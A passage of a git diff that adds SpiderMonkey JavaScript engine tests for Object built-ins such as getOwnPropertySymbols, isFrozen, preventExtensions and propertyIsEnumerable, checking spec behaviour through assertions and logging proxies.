+assertDeepEq(Object.getOwnPropertyDescriptor("foo", "length"), {
+ value: 3,
+ writable: false,
+ enumerable: false,
+ configurable: false
+});
+
+assertDeepEq(Object.getOwnPropertyDescriptor("foo", 0), {
+ value: "f",
+ writable: false,
+ enumerable: true,
+ configurable: false
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/getOwnPropertySymbols-proxy.js b/js/src/tests/non262/object/getOwnPropertySymbols-proxy.js
new file mode 100644
index 0000000000..c538b3015c
--- /dev/null
+++ b/js/src/tests/non262/object/getOwnPropertySymbols-proxy.js
@@ -0,0 +1,28 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// getOwnPropertySymbols(proxy) calls the getOwnPropertyNames hook (only).
+
+var symbols = [Symbol(), Symbol("moon"), Symbol.for("sun"), Symbol.iterator];
+var hits = 0;
+
+function HandlerProxy() {
+ return new Proxy({}, {
+ get: function (t, key) {
+ if (key !== "ownKeys")
+ throw new Error("tried to access handler[" + String(key) + "]");
+ hits++;
+ return t => symbols;
+ }
+ });
+}
+
+function OwnKeysProxy() {
+ return new Proxy({}, new HandlerProxy);
+}
+
+assertDeepEq(Object.getOwnPropertySymbols(new OwnKeysProxy), symbols);
+assertEq(hits, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/getOwnPropertySymbols.js b/js/src/tests/non262/object/getOwnPropertySymbols.js
new file mode 100644
index 0000000000..b92d14ef17
--- /dev/null
+++ b/js/src/tests/non262/object/getOwnPropertySymbols.js
@@ -0,0 +1,46 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+assertDeepEq(Object.getOwnPropertySymbols({}), []);
+
+// String keys are ignored.
+assertEq(Object.getOwnPropertySymbols({a: 1, b: 2}).length, 0);
+assertEq(Object.getOwnPropertySymbols([0, 1, 2, 3]).length, 0);
+
+// Symbol keys are observed.
+var iterable = {};
+Object.defineProperty(iterable, Symbol.iterator, {
+ value: () => [][Symbol.iterator]()
+});
+assertDeepEq(Object.getOwnPropertySymbols(iterable), [Symbol.iterator]);
+assertDeepEq(Object.getOwnPropertySymbols(new Proxy(iterable, {})), [Symbol.iterator]);
+
+// Test on an object with a thousand own properties.
+var obj = {};
+for (var i = 0; i < 1000; i++) {
+ obj[Symbol.for("x" + i)] = 1;
+}
+assertEq(Object.getOwnPropertyNames(obj).length, 0);
+var symbols = Object.getOwnPropertySymbols(obj);
+assertEq(symbols.length, 1000);
+assertEq(symbols.indexOf(Symbol.for("x0")) !== -1, true);
+assertEq(symbols.indexOf(Symbol.for("x241")) !== -1, true);
+assertEq(symbols.indexOf(Symbol.for("x999")) !== -1, true);
+assertEq(Object.getOwnPropertySymbols(new Proxy(obj, {})).length, 1000);
+
+// The prototype chain is not consulted.
+assertEq(Object.getOwnPropertySymbols(Object.create(obj)).length, 0);
+assertEq(Object.getOwnPropertySymbols(new Proxy(Object.create(obj), {})).length, 0);
+
+// Primitives are coerced to objects; but there are never any symbol-keyed
+// properties on the resulting wrapper objects.
+assertThrowsInstanceOf(() => Object.getOwnPropertySymbols(), TypeError);
+assertThrowsInstanceOf(() => Object.getOwnPropertySymbols(undefined), TypeError);
+assertThrowsInstanceOf(() => Object.getOwnPropertySymbols(null), TypeError);
+for (var primitive of [true, 1, 3.14, "hello", Symbol()])
+ assertEq(Object.getOwnPropertySymbols(primitive).length, 0);
+
+assertEq(Object.getOwnPropertySymbols.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/getPrototypeOf-array.js b/js/src/tests/non262/object/getPrototypeOf-array.js
new file mode 100644
index 0000000000..e482f89be7
--- /dev/null
+++ b/js/src/tests/non262/object/getPrototypeOf-array.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'getPrototypeOf-array.js';
+var BUGNUMBER = 769041;
+var summary =
+ "The [[Prototype]] of an object whose prototype chain contains an array " +
+ "isn't that array's [[Prototype]]";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+assertEq(Array.isArray(arr), true);
+var objWithArrPrototype = Object.create(arr);
+assertEq(!Array.isArray(objWithArrPrototype), true);
+assertEq(Object.getPrototypeOf(objWithArrPrototype), arr);
+var objWithArrGrandPrototype = Object.create(objWithArrPrototype);
+assertEq(!Array.isArray(objWithArrGrandPrototype), true);
+assertEq(Object.getPrototypeOf(objWithArrGrandPrototype), objWithArrPrototype);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/object/getPrototypeOf.js b/js/src/tests/non262/object/getPrototypeOf.js
new file mode 100644
index 0000000000..71cd30c62c
--- /dev/null
+++ b/js/src/tests/non262/object/getPrototypeOf.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1079090;
+var summary = "Coerce the argument passed to Object.getPrototypeOf using ToObject";
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => Object.getPrototypeOf(), TypeError);
+assertThrowsInstanceOf(() => Object.getPrototypeOf(undefined), TypeError);
+assertThrowsInstanceOf(() => Object.getPrototypeOf(null), TypeError);
+
+assertEq(Object.getPrototypeOf(1), Number.prototype);
+assertEq(Object.getPrototypeOf(true), Boolean.prototype);
+assertEq(Object.getPrototypeOf("foo"), String.prototype);
+if (typeof Symbol === "function") {
+ assertEq(Object.getPrototypeOf(Symbol("foo")), Symbol.prototype);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/getter-name.js b/js/src/tests/non262/object/getter-name.js
new file mode 100644
index 0000000000..601d6b4778
--- /dev/null
+++ b/js/src/tests/non262/object/getter-name.js
@@ -0,0 +1,10 @@
+var BUGNUMBER = 1180290;
+var summary = 'Object accessors should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").get.name, "get __proto__");
+assertEq(Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").set.name, "set __proto__");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/hasOwn.js b/js/src/tests/non262/object/hasOwn.js
new file mode 100644
index 0000000000..cb9ebda5db
--- /dev/null
+++ b/js/src/tests/non262/object/hasOwn.js
@@ -0,0 +1,18 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+assertEq(Object.hasOwn({}, "any"), false);
+assertThrowsInstanceOf(() => Object.hasOwn(null, "any"), TypeError);
+
+var x = { test: 'test value'}
+var y = {}
+var z = Object.create(x);
+
+assertEq(Object.hasOwn(x, "test"), true);
+assertEq(Object.hasOwn(y, "test"), false);
+assertEq(Object.hasOwn(z, "test"), false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/isExtensible.js b/js/src/tests/non262/object/isExtensible.js
new file mode 100644
index 0000000000..f1fa008782
--- /dev/null
+++ b/js/src/tests/non262/object/isExtensible.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1060873;
+var summary = "Object.isExtensible() should return false when given primitive values as input";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.isExtensible(), false);
+assertEq(Object.isExtensible(undefined), false);
+assertEq(Object.isExtensible(null), false);
+assertEq(Object.isExtensible(1), false);
+assertEq(Object.isExtensible("foo"), false);
+assertEq(Object.isExtensible(true), false);
+if (typeof Symbol === "function") {
+ assertEq(Object.isExtensible(Symbol()), false);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/isFrozen.js b/js/src/tests/non262/object/isFrozen.js
new file mode 100644
index 0000000000..02056802d7
--- /dev/null
+++ b/js/src/tests/non262/object/isFrozen.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1071464;
+var summary = "Object.isFrozen() should return true when given primitive values as input";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.isFrozen(), true);
+assertEq(Object.isFrozen(undefined), true);
+assertEq(Object.isFrozen(null), true);
+assertEq(Object.isFrozen(1), true);
+assertEq(Object.isFrozen("foo"), true);
+assertEq(Object.isFrozen(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.isFrozen(Symbol()), true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/isPrototypeOf.js b/js/src/tests/non262/object/isPrototypeOf.js
new file mode 100644
index 0000000000..a2d78f6507
--- /dev/null
+++ b/js/src/tests/non262/object/isPrototypeOf.js
@@ -0,0 +1,86 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'isPrototypeOf.js';
+var BUGNUMBER = 619283;
+var summary = "Object.prototype.isPrototypeOf";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(fun)
+{
+ try
+ {
+ var r = fun();
+ throw new Error("didn't throw TypeError, returned " + r);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't throw TypeError, got: " + e);
+ }
+}
+
+var isPrototypeOf = Object.prototype.isPrototypeOf;
+
+/*
+ * 1. If V is not an Object, return false.
+ */
+assertEq(isPrototypeOf(), false);
+assertEq(isPrototypeOf(1), false);
+assertEq(isPrototypeOf(Number.MAX_VALUE), false);
+assertEq(isPrototypeOf(NaN), false);
+assertEq(isPrototypeOf(""), false);
+assertEq(isPrototypeOf("sesquicentennial"), false);
+assertEq(isPrototypeOf(true), false);
+assertEq(isPrototypeOf(false), false);
+assertEq(isPrototypeOf(0.72), false);
+assertEq(isPrototypeOf(undefined), false);
+assertEq(isPrototypeOf(null), false);
+
+
+/*
+ * 2. Let O be the result of calling ToObject passing the this value as the
+ * argument.
+ */
+var protoGlobal = Object.create(this);
+expectThrowTypeError(function() { isPrototypeOf.call(null, {}); });
+expectThrowTypeError(function() { isPrototypeOf.call(undefined, {}); });
+expectThrowTypeError(function() { isPrototypeOf({}); });
+expectThrowTypeError(function() { isPrototypeOf.call(null, protoGlobal); });
+expectThrowTypeError(function() { isPrototypeOf.call(undefined, protoGlobal); });
+expectThrowTypeError(function() { isPrototypeOf(protoGlobal); });
+
+
+/*
+ * 3. Repeat
+ */
+
+/*
+ * 3a. Let V be the value of the [[Prototype]] internal property of V.
+ * 3b. If V is null, return false.
+ */
+assertEq(Object.prototype.isPrototypeOf(Object.prototype), false);
+assertEq(String.prototype.isPrototypeOf({}), false);
+assertEq(Object.prototype.isPrototypeOf(Object.create(null)), false);
+
+/* 3c. If O and V refer to the same object, return true. */
+assertEq(Object.prototype.isPrototypeOf({}), true);
+assertEq(this.isPrototypeOf(protoGlobal), true);
+assertEq(Object.prototype.isPrototypeOf({}), true);
+assertEq(Object.prototype.isPrototypeOf(new Number(17)), true);
+assertEq(Object.prototype.isPrototypeOf(function(){}), true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/isSealed.js b/js/src/tests/non262/object/isSealed.js
new file mode 100644
index 0000000000..cd363a87e1
--- /dev/null
+++ b/js/src/tests/non262/object/isSealed.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1062860;
+var summary = "Object.isSealed() should return true when given primitive values as input";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.isSealed(), true);
+assertEq(Object.isSealed(undefined), true);
+assertEq(Object.isSealed(null), true);
+assertEq(Object.isSealed(1), true);
+assertEq(Object.isSealed("foo"), true);
+assertEq(Object.isSealed(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.isSealed(Symbol()), true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/keys.js b/js/src/tests/non262/object/keys.js
new file mode 100644
index 0000000000..5766f16d11
--- /dev/null
+++ b/js/src/tests/non262/object/keys.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1038545;
+var summary = "Coerce the argument passed to Object.keys using ToObject";
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => Object.keys(), TypeError);
+assertThrowsInstanceOf(() => Object.keys(undefined), TypeError);
+assertThrowsInstanceOf(() => Object.keys(null), TypeError);
+
+assertDeepEq(Object.keys(1), []);
+assertDeepEq(Object.keys(true), []);
+if (typeof Symbol === "function") {
+ assertDeepEq(Object.keys(Symbol("foo")), []);
+}
+
+assertDeepEq(Object.keys("foo"), ["0", "1", "2"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/method-non-constructor.js b/js/src/tests/non262/object/method-non-constructor.js
new file mode 100644
index 0000000000..fd1d589b97
--- /dev/null
+++ b/js/src/tests/non262/object/method-non-constructor.js
@@ -0,0 +1,12 @@
+var obj = { method() { } };
+assertThrowsInstanceOf(() => {
+ new obj.method;
+}, TypeError);
+
+obj = { constructor() { } };
+assertThrowsInstanceOf(() => {
+ new obj.constructor;
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/mutation-prevention-methods.js b/js/src/tests/non262/object/mutation-prevention-methods.js
new file mode 100644
index 0000000000..01b4c19cbe
--- /dev/null
+++ b/js/src/tests/non262/object/mutation-prevention-methods.js
@@ -0,0 +1,124 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'mutation-prevention-methods.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 492849;
+var summary = 'Object.is{Sealed,Frozen}, Object.{seal,freeze}';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Empty object
+
+var o1 = {};
+
+assertEq(Object.isExtensible(o1), true);
+assertEq(Object.isSealed(o1), false);
+assertEq(Object.isFrozen(o1), false);
+
+Object.preventExtensions(o1);
+
+// An non-extensible empty object has no properties, so it is vacuously sealed
+// and frozen.
+assertEq(Object.isExtensible(o1), false);
+assertEq(Object.isSealed(o1), true);
+assertEq(Object.isFrozen(o1), true);
+
+
+// Object with a data property
+
+var o2 = { 1: 2 };
+
+assertEq(Object.isExtensible(o2), true);
+assertEq(Object.isSealed(o2), false);
+assertEq(Object.isFrozen(o2), false);
+
+Object.preventExtensions(o2);
+
+assertEq(Object.isExtensible(o2), false);
+assertEq(Object.isSealed(o2), false);
+assertEq(Object.isFrozen(o2), false);
+
+Object.seal(o2);
+
+assertEq(Object.isExtensible(o2), false);
+assertEq(Object.isSealed(o2), true);
+assertEq(Object.isFrozen(o2), false);
+
+assertEq(o2[1], 2);
+
+var desc;
+
+desc = Object.getOwnPropertyDescriptor(o2, "1");
+assertEq(typeof desc, "object");
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 2);
+assertEq(desc.writable, true);
+
+o2[1] = 17;
+
+assertEq(o2[1], 17);
+
+desc = Object.getOwnPropertyDescriptor(o2, "1");
+assertEq(typeof desc, "object");
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 17);
+assertEq(desc.writable, true);
+
+Object.freeze(o2);
+
+assertEq(o2[1], 17);
+
+desc = Object.getOwnPropertyDescriptor(o2, "1");
+assertEq(typeof desc, "object");
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 17);
+assertEq(desc.writable, false);
+
+
+// Object with an accessor property
+
+var o3 = { get foo() { return 17; } };
+
+assertEq(Object.isExtensible(o3), true);
+assertEq(Object.isSealed(o3), false);
+assertEq(Object.isFrozen(o3), false);
+
+Object.preventExtensions(o3);
+
+assertEq(Object.isExtensible(o3), false);
+assertEq(Object.isSealed(o3), false);
+assertEq(Object.isFrozen(o3), false);
+
+Object.seal(o3);
+
+// An accessor property in a sealed object is unchanged if that object is
+// frozen, so a sealed object containing only accessor properties is also
+// vacuously frozen.
+assertEq(Object.isExtensible(o3), false);
+assertEq(Object.isSealed(o3), true);
+assertEq(Object.isFrozen(o3), true);
+
+Object.freeze(o3);
+
+assertEq(Object.isExtensible(o3), false);
+assertEq(Object.isSealed(o3), true);
+assertEq(Object.isFrozen(o3), true);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/object-create-with-primitive-second-arg.js b/js/src/tests/non262/object/object-create-with-primitive-second-arg.js
new file mode 100644
index 0000000000..44afd53c25
--- /dev/null
+++ b/js/src/tests/non262/object/object-create-with-primitive-second-arg.js
@@ -0,0 +1,8 @@
+[1, "", true, Symbol(), undefined].forEach(props => {
+ assertEq(Object.getPrototypeOf(Object.create(null, props)), null);
+});
+
+assertThrowsInstanceOf(() => Object.create(null, null), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/object-toString-01.js b/js/src/tests/non262/object/object-toString-01.js
new file mode 100644
index 0000000000..6a8c4e86a9
--- /dev/null
+++ b/js/src/tests/non262/object/object-toString-01.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'object-toString-01.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 575522;
+var summary = '({}).toString.call(null) == "[object Null]", ' +
+ '({}).toString.call(undefined) == "[object Undefined]", ';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var toString = Object.prototype.toString;
+
+assertEq(toString.call(null), "[object Null]");
+assertEq(toString.call(undefined), "[object Undefined]");
+
+assertEq(toString.call(true), "[object Boolean]");
+assertEq(toString.call(false), "[object Boolean]");
+
+assertEq(toString.call(0), "[object Number]");
+assertEq(toString.call(-0), "[object Number]");
+assertEq(toString.call(1), "[object Number]");
+assertEq(toString.call(-1), "[object Number]");
+assertEq(toString.call(NaN), "[object Number]");
+assertEq(toString.call(Infinity), "[object Number]");
+assertEq(toString.call(-Infinity), "[object Number]");
+
+assertEq(toString.call("foopy"), "[object String]");
+
+assertEq(toString.call({}), "[object Object]");
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/preventExtensions-idempotent.js b/js/src/tests/non262/object/preventExtensions-idempotent.js
new file mode 100644
index 0000000000..c0b16d890f
--- /dev/null
+++ b/js/src/tests/non262/object/preventExtensions-idempotent.js
@@ -0,0 +1,30 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'preventExtensions-idempotent.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 599459;
+var summary = 'Object.preventExtensions should be idempotent';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj = {};
+assertEq(Object.preventExtensions(obj), obj);
+assertEq(Object.isExtensible(obj), false);
+assertEq(Object.preventExtensions(obj), obj);
+assertEq(Object.isExtensible(obj), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/preventExtensions-proxy.js b/js/src/tests/non262/object/preventExtensions-proxy.js
new file mode 100644
index 0000000000..347a63bc3a
--- /dev/null
+++ b/js/src/tests/non262/object/preventExtensions-proxy.js
@@ -0,0 +1,23 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+function logProxy(object = {}, handler = {}) {
+ var log = [];
+ var proxy = new Proxy(object, new Proxy(handler, {
+ get(target, propertyKey, receiver) {
+ log.push(propertyKey);
+ return target[propertyKey];
+ }
+ }));
+ return {proxy, log};
+}
+
+var {proxy, log} = logProxy();
+Object.preventExtensions(proxy);
+assertDeepEq(log, ["preventExtensions"]);
+
+var {proxy, log} = logProxy();
+Object.preventExtensions(Object.preventExtensions(proxy));
+assertDeepEq(log, ["preventExtensions", "preventExtensions"]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/preventExtensions.js b/js/src/tests/non262/object/preventExtensions.js
new file mode 100644
index 0000000000..75c8ed3db5
--- /dev/null
+++ b/js/src/tests/non262/object/preventExtensions.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var BUGNUMBER = 1073446;
+var summary = "Object.preventExtensions() should return its argument with no conversion when the argument is a primitive value";
+
+print(BUGNUMBER + ": " + summary);
+assertEq(Object.preventExtensions(), undefined);
+assertEq(Object.preventExtensions(undefined), undefined);
+assertEq(Object.preventExtensions(null), null);
+assertEq(Object.preventExtensions(1), 1);
+assertEq(Object.preventExtensions("foo"), "foo");
+assertEq(Object.preventExtensions(true), true);
+if (typeof Symbol === "function") {
+ assertEq(Object.preventExtensions(Symbol.for("foo")), Symbol.for("foo"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/property-descriptor-order.js b/js/src/tests/non262/object/property-descriptor-order.js
new file mode 100644
index 0000000000..337d247dae
--- /dev/null
+++ b/js/src/tests/non262/object/property-descriptor-order.js
@@ -0,0 +1,17 @@
+var names = Object.getOwnPropertyNames(Object.getOwnPropertyDescriptor({foo: 0}, "foo"));
+assertDeepEq(names, ["value", "writable", "enumerable", "configurable"]);
+
+names = Object.getOwnPropertyNames(Object.getOwnPropertyDescriptor({get foo(){}}, "foo"));
+assertDeepEq(names, ["get", "set", "enumerable", "configurable"]);
+
+var proxy = new Proxy({}, {
+ defineProperty(target, key, desc) {
+ var names = Object.getOwnPropertyNames(desc);
+ assertDeepEq(names, ["set", "configurable"]);
+ return true;
+ }
+});
+
+Object.defineProperty(proxy, "foo", {configurable: true, set: function() {}});
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/propertyIsEnumerable-proxy.js b/js/src/tests/non262/object/propertyIsEnumerable-proxy.js
new file mode 100644
index 0000000000..a1dda90e0a
--- /dev/null
+++ b/js/src/tests/non262/object/propertyIsEnumerable-proxy.js
@@ -0,0 +1,59 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+function logProxy(object) {
+ var log = [];
+ var handler = {
+ getOwnPropertyDescriptor(target, propertyKey) {
+ log.push(propertyKey);
+ return Object.getOwnPropertyDescriptor(target, propertyKey);
+ }
+ };
+ var proxy = new Proxy(object, new Proxy(handler, {
+ get(target, propertyKey, receiver) {
+ if (!(propertyKey in target)) {
+ throw new Error(`Unexpected call to trap: "${propertyKey}"`);
+ }
+ return target[propertyKey];
+ }
+ }));
+ return {proxy, log};
+}
+
+var properties = ["string-property"];
+if (typeof Symbol === 'function')
+ properties.push(Symbol("symbol-property"));
+
+for (var property of properties) {
+ // Test 1: property is not present on object
+ var {proxy, log} = logProxy({});
+ var result = Object.prototype.propertyIsEnumerable.call(proxy, property);
+ assertEq(result, false);
+ assertDeepEq(log, [property]);
+
+ // Test 2: property is present on object and enumerable
+ var {proxy, log} = logProxy({[property]: 0});
+ var result = Object.prototype.propertyIsEnumerable.call(proxy, property);
+ assertEq(result, true);
+ assertDeepEq(log, [property]);
+
+ // Test 3: property is present on object, but not enumerable
+ var {proxy, log} = logProxy(Object.defineProperty({[property]: 0}, property, {enumerable: false}));
+ var result = Object.prototype.propertyIsEnumerable.call(proxy, property);
+ assertEq(result, false);
+ assertDeepEq(log, [property]);
+
+ // Test 4: property is present on prototype object
+ var {proxy, log} = logProxy(Object.create({[property]: 0}));
+ var result = Object.prototype.propertyIsEnumerable.call(proxy, property);
+ assertEq(result, false);
+ assertDeepEq(log, [property]);
+
+ // Test 5: property is present on prototype object, prototype is proxy object
+ var {proxy, log} = logProxy({[property]: 0});
+ var result = Object.prototype.propertyIsEnumerable.call(Object.create(proxy), property);
+ assertEq(result, false);
+ assertDeepEq(log, []);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/propertyIsEnumerable.js b/js/src/tests/non262/object/propertyIsEnumerable.js
new file mode 100644
index 0000000000..e9b09d0bfb
--- /dev/null
+++ b/js/src/tests/non262/object/propertyIsEnumerable.js
@@ -0,0 +1,199 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'propertyIsEnumerable.js';
+var BUGNUMBER = 619283;
+var summary = "Object.prototype.propertyIsEnumerable";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowError(errorCtor, fun)
+{
+ try
+ {
+ var r = fun();
+ throw "didn't throw TypeError, returned " + r;
+ }
+ catch (e)
+ {
+ assertEq(e instanceof errorCtor, true,
+ "didn't throw " + errorCtor.prototype.name + ", got: " + e);
+ }
+}
+
+function expectThrowTypeError(fun)
+{
+ expectThrowError(TypeError, fun);
+}
+
+function withToString(fun)
+{
+ return { toString: fun };
+}
+
+function withValueOf(fun)
+{
+ return { toString: null, valueOf: fun };
+}
+
+var propertyIsEnumerable = Object.prototype.propertyIsEnumerable;
+
+/*
+ * 1. Let P be ToString(V).
+ */
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable(withToString(function() { fahslkjdfhlkjdsl; }));
+});
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable.call(null, withToString(function() { fahslkjdfhlkjdsl; }));
+});
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable.call(undefined, withToString(function() { fahslkjdfhlkjdsl; }));
+});
+
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable(withValueOf(function() { fahslkjdfhlkjdsl; }));
+});
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable.call(null, withValueOf(function() { fahslkjdfhlkjdsl; }));
+});
+expectThrowError(ReferenceError, function()
+{
+ propertyIsEnumerable.call(undefined, withValueOf(function() { fahslkjdfhlkjdsl; }));
+});
+
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable(withToString(function() { eval("}"); }));
+});
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable.call(null, withToString(function() { eval("}"); }));
+});
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable.call(undefined, withToString(function() { eval("}"); }));
+});
+
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable(withValueOf(function() { eval("}"); }));
+});
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable.call(null, withValueOf(function() { eval("}"); }));
+});
+expectThrowError(SyntaxError, function()
+{
+ propertyIsEnumerable.call(undefined, withValueOf(function() { eval("}"); }));
+});
+
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable(withToString(function() { [].length = -1; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(null, withToString(function() { [].length = -1; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(undefined, withToString(function() { [].length = -1; }));
+});
+
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable(withValueOf(function() { [].length = -1; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(null, withValueOf(function() { [].length = -1; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(undefined, withValueOf(function() { [].length = -1; }));
+});
+
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable(withToString(function() { [].length = 0.7; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(null, withToString(function() { [].length = 0.7; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(undefined, withToString(function() { [].length = 0.7; }));
+});
+
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable(withValueOf(function() { [].length = 0.7; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(null, withValueOf(function() { [].length = 0.7; }));
+});
+expectThrowError(RangeError, function()
+{
+ propertyIsEnumerable.call(undefined, withValueOf(function() { [].length = 0.7; }));
+});
+
+/*
+ * 2. Let O be the result of calling ToObject passing the this value as the
+ * argument.
+ */
+expectThrowTypeError(function() { propertyIsEnumerable("s"); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(null, "s"); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(undefined, "s"); });
+expectThrowTypeError(function() { propertyIsEnumerable(true); });
+expectThrowTypeError(function() { propertyIsEnumerable.call(null, true); });
